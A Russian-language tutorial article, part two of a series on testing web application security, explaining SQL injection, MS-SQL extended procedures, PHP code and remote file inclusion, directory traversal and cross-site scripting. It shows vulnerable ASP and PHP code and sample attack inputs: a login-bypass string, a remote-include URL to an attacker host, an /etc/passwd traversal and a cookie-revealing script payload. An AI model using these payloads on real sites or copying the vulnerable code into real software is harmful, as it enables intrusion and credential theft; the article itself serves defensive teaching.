Проверка надежности Web приложений, часть 2

Проверка надежности Web приложений, часть 2

В первой статье мы рассмотрели различные способы взаимодействия пользователя с Web-приложениями и исследовали разные методы HTTP ввода, которые обычно используются разработчиками. В этой части мы рассмотрим различные способы обхода проверки правильности ввода – выполнение кода на стороне сервера и SQL инъекции. Кроме того, мы исследуем проблемы на стороне клиента, связанные со слабой фильтрацией пользовательских данных – типа XSS нападений.

В первой статье мы рассмотрели различные способы взаимодействия пользователя с Web-приложениями и исследовали разные методы HTTP ввода, которые обычно используются разработчиками. В этой части мы рассмотрим различные способы обхода проверки правильности ввода – выполнение кода на стороне сервера и SQL инъекции. Кроме того, мы исследуем проблемы на стороне клиента, связанные со слабой фильтрацией пользовательских данных – типа XSS нападений.

Метод Черного ящика

Метод “черного ящика” – метод тестирования Web-приложений, исходный код которых недоступен испытателю. В результате испытатель исследует Web-приложение со стороны пользователя (или со стороны потенциального атакующего). В этом методе исследователь использует методы снятия отпечатков (как описано в первой части статьи), чтобы исследовать и идентифицировать все ожидаемые входные данные и взаимодействие пользователя. Blackbox-испытатель сначала попытается “прощупать” приложение и изучить его ожидаемое поведение (входные данные/неизвестное приложение/выходные данные).

Испытатель пытается выявить исключительные состояния и аномальное поведение Web-приложения, управляя входными данными – используя специальные символы, SQL параметры, запросы с чрезмерными параметрами и т.п. Любая неожиданная реакция Web приложения должна быть исследована. Это могут быть сообщения об ошибках сценария (возможно с отрывками кода), ошибки сервера (HTTP 500) или полузагруженные страницы.

 Figure 1 - Blackbox testing GET variables

Рис. 1 Blackbox проверяет GET переменные

Нужно исследовать любое неправильное поведение со стороны приложения в ответ на некорректные вводимые данные, так как это должно подразумевать, что разработчик приложения не в состоянии был проверить правильность вводимых данных.

SQL инъекция

Очень часто разработчики Web приложений (независимо от используемой среды), должным образом не проверяют пользовательский ввод на наличие потенциально опасных символов перед использованием этого ввода в SQL запросах. В зависимости от используемой базы данных, уязвимость SQL инъекция и ведет к изменению уровней доступа данных/системы для атакующего. Возможно не только управление SQL запросами, но и использование UNION в произвольных данных, использование подзапросов или добавление дополнительных запросов. В некоторых случаях можно читать и записывать произвольные файлы и выполнять произвольные команды на основной операционной системе.

Определение уязвимостей SQL инъекции

В большинстве случаев самый эффективный метод определения уязвимости SQL инъекции вручную – изучение входных данных приложения и вставка специальных символов. В большинстве популярных Web-серверов страница ошибки с технической информацией отображается по умолчанию, что позволяет исследователю узнать как можно больше информации об используемом SQL запросе.

Figure 2 - Potential SQL injection vulnerability

Рис. 2 Потенциальная уязвимость SQL инъекции

Figure 3 - Another potential SQL injection hole

Рис. 3 Еще одна потенциальная уязвимость SQL инъекции

Пример: обход авторизации, используя SQL инъекцию

Обход авторизации - один из наиболее часто используемых примеров SQL инъекции, который демонстрирует высокую опасность этого типа уязвимостей. Один из самых простых способов авторизовать пользователя на сайте – использовать форму, которая запрашивает имя пользователя и пароль. Когда форма передана сценарию входа в систему (login.asp), имя поля имя пользователя и пароль используются в качестве переменных в SQL запросе.

Исследуем следующий код (используя в качестве базы данных MS Access DB):

user = Request.form("user")

 pass = Request.form("pass")

 Set Conn = Server.CreateObject("ADODB.Connection")

 Set Rs = Server.CreateObject("ADODB.Recordset")

 Conn.Open (dsn)

 SQL = "SELECT C=COUNT(*) FROM users where pass='" & pass & "' and user='" & user & "'" 

 rs.open (sql,conn) if rs.eof or rs.bof then

 response.write "Database Error"

 else

 if rs("C") < 1 then

 response.write "Invalid Credentials"

 else

 response.write "Logged In"

 end if

 end if

В этом сценарии не выполняется проверка переменных user и pass, которые мы ввели в нашей форме. Разработчик может проверять правильность данных на стороне клиента (например, с помощью Javascript), однако любой атакующий может обойти подобные ограничения. Если нападающий представит следующие данные к нашему сценарию входа в систему:

user: test' OR '1'='1

pass: test

то в результате SQL запрос будет выглядеть следующим образом:

SELECT * FROM users where pass='test' and user='test' OR '1' = '1'

Если сказать простым русским языком, то это означает, что запрос попытается возвратить данные из таблицы, при условии что pass равен 'test' и имя пользователя равно 'test' или 1 равна 1. Поскольку второе состояние всегда истинно, первое условие нерелевантно, т.е. запрос возвратит успешные данные и зарегистрирует атакующего в приложении.

Расширенные сохраненные процедуры SQL сервера

Microsoft SQL сервер поддерживает загрузку расширенных сохраненных процедур (процедура в виде DLL, которая вызывается приложением во время выполнения). Расширенные сохраненные процедуры могут использоваться тем же самым способом, как и сохраненные процедуры базы данных, и обычно используются для выполнения задач, связанных со взаимодействием SQL сервера с его основной Win32 средой.

Некоторые из встроенных функций, полезных для испытателя защиты:

* xp_cmdshell

- Выполняет команды оболочки

* xp_enumgroups

- Перечисляет NT группы пользователей

* xp_logininfo

- текущая информация входа в систему

* xp_grantlogin

- Предоставляет права на вход в системе

* xp_getnetname

- возвращает имя Wins сервера

* xp_regdeletekey

- используется для работы с реестром

* xp_regenumvalues

 

* xp_regread

 

* xp_regwrite

 

* xp_msver

- возвращает версию SQL сервера

Не защищенный MS-SQL сервер может позволить DBO пользователю обращаться к этим потенциально опасным сохраненным процедурам (которые будут выполнены с разрешением SQL сервера – в большинстве случаев с системными привилегиями).

Существует множество сохраненных/расширенных процедур, которые не должны быть доступны для любого другого пользователя, кроме владельца базы данных. Список этих процедур можно посмотреть здесь:

 http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_sp_00_519s.asp

Дополнительную информацию о защите MS-SQL Server 7 и 2000 сервера можно узнать отсюда:

http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=3&tabid=4

PHP и  MySQL инъекция

Уязвимое PHP Web-приложение, использующее базу данных MySQL, может управляться подобными способами, как и ASP приложение, не смотря на то, что PHP фильтрует множество специальных символов (Magic_Quotes). MySQL не может использоваться для выполнения произвольных команд оболочки, подобно xp_cmdshell в MS SQL сервере. Однако в большинстве случаях нападающий может добавить произвольные условия к запросам или использовать UNION и подзапросы, чтобы обратится или изменять записи в базе данных.

Дополнительную информацию по проблемам защиты PHP/MySQL приложений можно узнать здесь http://www.phpadvisory.com

Инъекция кода и содержания

Что такое инъекция кода? Уязвимость инъекции кода происходит, когда выходные данные или содержание Web-приложения могут контролироваться таким образом, чтобы вызвать выполнение произвольного кода на сервере. В некоторых безграмотно написанных Web-приложениях, которые позволяют пользователям изменять файлы на сервере, иногда возможно внедрить код непосредственно в язык сценария приложения.

Эта уязвимость зависит от способа, которым приложение обрабатывает содержание этих управляемых файлов – если это делается до того, как язык сценария анализируется и выполняется, то измененное пользователем содержание может также быть проанализировано и выполнено.

Пример: простая доска объявлений в PHP

Следующий кусок PHP кода может использоваться для отображения отправленного сообщения в доске объявлений. Программа отыскивает GET переменную messageid, представленную пользователем, и открывает файл $messageid.txt под/var/www/forum:

<?php

 include('/var/www/template/header.inc');

 if (isset($_GET['messageid']) && file_exists('/var/www/forum/' . stripslashes($messageid) . '.txt') &&

 is_numeric($messageid)) {

 include('/var/www/forum/' . stripslashes($messageid) . '.txt');

 } else {

 include('/var/www/template/error.inc');

 }

 include('/var/www/template/footer.inc');

?>

Хотя и проверка is_numeric() препятствует пользователю вводить путь к файлу в переменной messageid, при этом содержание файла сообщений никак не проверятся (проблему с принятием неконтролируемого пути к файлу мы рассмотрим позже). Если сообщение содержит PHP код, оно будет включено include() и выполнено сервером.

Простой метод эксплуатации этой уязвимости состоит в том, чтобы отправить сообщение к доске объявлений простой кусок кода (в нашем примере PHP кода), затем просмотреть отправленное сообщение и увидеть, указывают ли выходные данные на выполнение кода.

Вставки на стороне сервера (Server Side Includes (SSI))

SSI – механизм для включения файлов, который использует специальную форму HTML комментариев, которые предшествуют возможностям включения современных языков сценария, типа PHP или JSP. Старые CGI программы и классические ASP сценарии все еще используют SSI, чтобы включать библиотеки кода или элементы многократного использования, типа заголовков шаблона сайта. SSI интерпретируется Web-сервером, но не языком сценариев, т.е. если SSI теги введены во время выполнения сценария, то они будут приняты и обработаны Web-сервером. Методы эксплуатации этой уязвимости подобны указанным выше методам, используемым для инъекции кода сценария. SSI является устаревшей технологией, так что мы не будем акцентироваться на этой проблеме.

Смешанные инъекции

Существует множество других методов нападений инъекции в Web-приложениях. Так как Web-приложение часто использует содержание заголовков, куки и GET/POST переменных в качестве входных данных, то действия, выполненные этим приложением, которые управляют этими переменными, должны быть полностью исследованы. Есть множество различных действий, которое может выполнить Web-приложение, используя эти переменные – открытие файлов, поиск в базе данных, сопряжение с другими командами системы и взаимодействие с другими Web-приложениями. Каждое из этих действий требует своего собственного синтаксиса и требует, чтобы проверялась правильность входных переменных своим уникальным способом.

Например, когда мы имеем дело с SQL инъекцией, должны быть удалены специальные SQL символы и словосочетания. Но что если Web-приложение отрывает последовательный порт и посылает информацию дистанционно через модем? Пользователь может вставить дополнительные команды модема, чтобы завесить модем или набрать другие номера. Это один из примеров инъекции. Исследовать должен понять, что незаметно выполняет приложение – вызываемые функции и выполняемые команды – могут ли параметры к этим запросам или командам управляться через заголовки, куки или GET/POST переменные.

Пример: PHP fopen()

В качестве примера рассмотрим очень часто встречающуюся проблему в функции PHP fopen (). PHP file-open fopen() функция позволяет в URL задавать имя файла, облегчая тем самым доступ к Web-службам и удаленным ресурсам. Рассмотрим в качестве примера простую портальную страницу:

URL: http://www.example.com/index.php?file=main

<?php

 include('/var/www/template/header.inc');

 if (isset($_GET['file']) {

 $fp = fopen("$file" . ".html","r");

 } else {

 $fp = fopen("main.html", "r");

 }

 include('/var/www/template/footer.inc');

?>

Сценарий index.php включает код верхнего и нижнего колонтитула, и fopen() открывает станицу, определенную в переменной GET. Если не установлена никакая переменная, то по умолчанию она устанавливается к main.html. Разработчик вызывает .html расширение, но не определяет префикс каталога. Из-за возможностей fopen() атакующий может в нашем случае представить:

http://www.example.com/index.php?file=http://www.hackersite.com/main

В результате сценарий откроет страницу main.html в www.hackersite.com. Очень часто подобным образом в приложение включается PHP сценарий. В этом случае атакующий может внедрить произвольный PHP код с удаленного сервера в сценарий index.php, который будет выполнен на целевом сервере.

Один из типичных примеров подобной уязвимости можно посмотреть здесь. http://www.securityfocus.com/bid/6463

Большинство квалифицированных разработчиков Web приложений знают о текущих проблемах SQL инъекции и используют разнообразные функции для фильтрации ввода. Однако, как только проблема затрагивает менее распространенные системные команды или протоколы, проверка правильности ввода часто некорректна или неадекватна, из-за слабого понимания более широких проблем проверки правильности входящих данных.

Обход каталога и URL

Большинство используемых web приложений для генерации конечной Web страницы используют различные куски кода, расположенные в нескольких файлах. Такой подход уязвим, как показано выше, к проблемам инъекции кода. Также очень часто в переменные, определяющие расположения файла, можно вставить относительный путь, чтобы включить произвольные файлы на системе.

Рассмотрим предыдущий пример с инъекцией кода, в котором разработчик не определил суффикс файла с Fopen():

fopen("$file" , "r");

В результате чего атакующий может получить доступ к любым файлам, которые доступны для чтения Web-приложению.

http://www.example.com/index.php?file=../../../../etc/passwd

Запрос возвратит содержание /etc/passwd, если не выполняется дополнительная проверка на наличие символа пути (/.) в переменной file.

Эта проблема затрагивает большинство современных Web-технологий, включая PHP, Java и Microsoft .NET. Если это поддерживается на целевой среде, уязвимые приложения могут использоваться как открытое реле или прокси-сервер. Пример:

http://www.example.com/index.php?file=http://www.google.com/

Этот недостаток - одна из самых простых проблем защиты, которую легко определить и исправить, хотя он часто встречается на небольших сайтах, код приложения которых выполняет простую сборку кода. Проблема может быть смягчена двумя способами. Сначала осуществите внутренний числовой индекс к документам или, как в нашем коде доски объявлений, используйте файлы в числовой последовательности со статическим префиксом и суффиксом. Во вторых, удаляйте любые символы пути типа [/\], которые могли бы использовать атакующие, чтобы обратиться к ресурсам вне дерева каталогов приложения.


Межсайтовый скриптинг

Нападения межсайтового скриптинга (как часть нападений инъекции содержания) отличаются от других методов нападения, описанных в этой статье, так как этот метод воздействует на клиента Web-приложения (то есть браузер пользователя). Cross Site Scripting (XSS) происходит везде, где разработчик неправильно позволяет пользователю управлять выходными HTML данными приложения - это может быть результатом запроса поиска, или любых других выходных данных приложения, где входные данные пользователя затем отображаются пользователю без какой либо фильтрации HTML содержания.

Рассмотрим простой пример XSS в следующем URL:

http://server.example.com/browse.cfm?categoryID=1&name=Books

В этом примере содержание параметра 'name' отображается в возвращенной странице. Пользователь может представить следующий запрос:

http://server.example.com/browse.cfm?categoryID=1&name=<h1>Books

Если символы <> не удаляются или фильтруются Web-приложением, тэг <h1> будет отображен в возвращенной Web странице и интерпретирован браузером как правильный HTML. Более интересный пример:

http://server.example.com/browse.cfm?categoryID=1&name=<script>alert(document.cookie);</script>

В этом случае мы внедряем Javascript код в возвращенную Web-страницу. Куки пользователя для этой сессии будут отображены во всплывающем окне, после передачи этого запроса.

Эта уязвимость может неправильно эксплуатироваться множеством способов, в зависимости от намерений атакующего. Например, небольшой Javascript код может быть помещен в этот URL. Запрос может тогда быть закодирован и послан другому пользователю в надежде, что тот откроет полученный URL. После клика на ссылку, куки пользователя может быть передано внешнему сайту. Если первоначальный сайт использует для идентификации пользователя только куки, учетная запись пользователя будет скомпрометирована. Более подробно куки мы рассмотрим в третьей части этой серии статей.

В большинстве случаев, XSS возможен против уважаемого или популярного сайта, поскольку пользователь более вероятно кликнет на длинный закодированный URL, если он доверяет имени домена. Этот вид нападения не позволяет получить какой-либо доступ к клиенту, кроме затронутого домена (в параметрах настройки защиты браузера пользователя).

Подробнее об XSS уязвимости и потенциальных опасностях можно узнать из следующего FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml.

Выводы

В последней статье этого цикла мы более подробно обсудим концепции сеансов и куки – как могут управляться и обходиться механизмы аутентификации Web-приложения. Мы также исследуем проблемы традиционных нападений (типа переполнения и логических ошибок), которые часто встречаются в самых различных Web-приложениях.

Ищем баги вместе! Но не те, что в продакшене...

Разбираем кейсы, делимся опытом, учимся на чужих ошибках

Зафиксируйте уязвимость своих знаний — подпишитесь!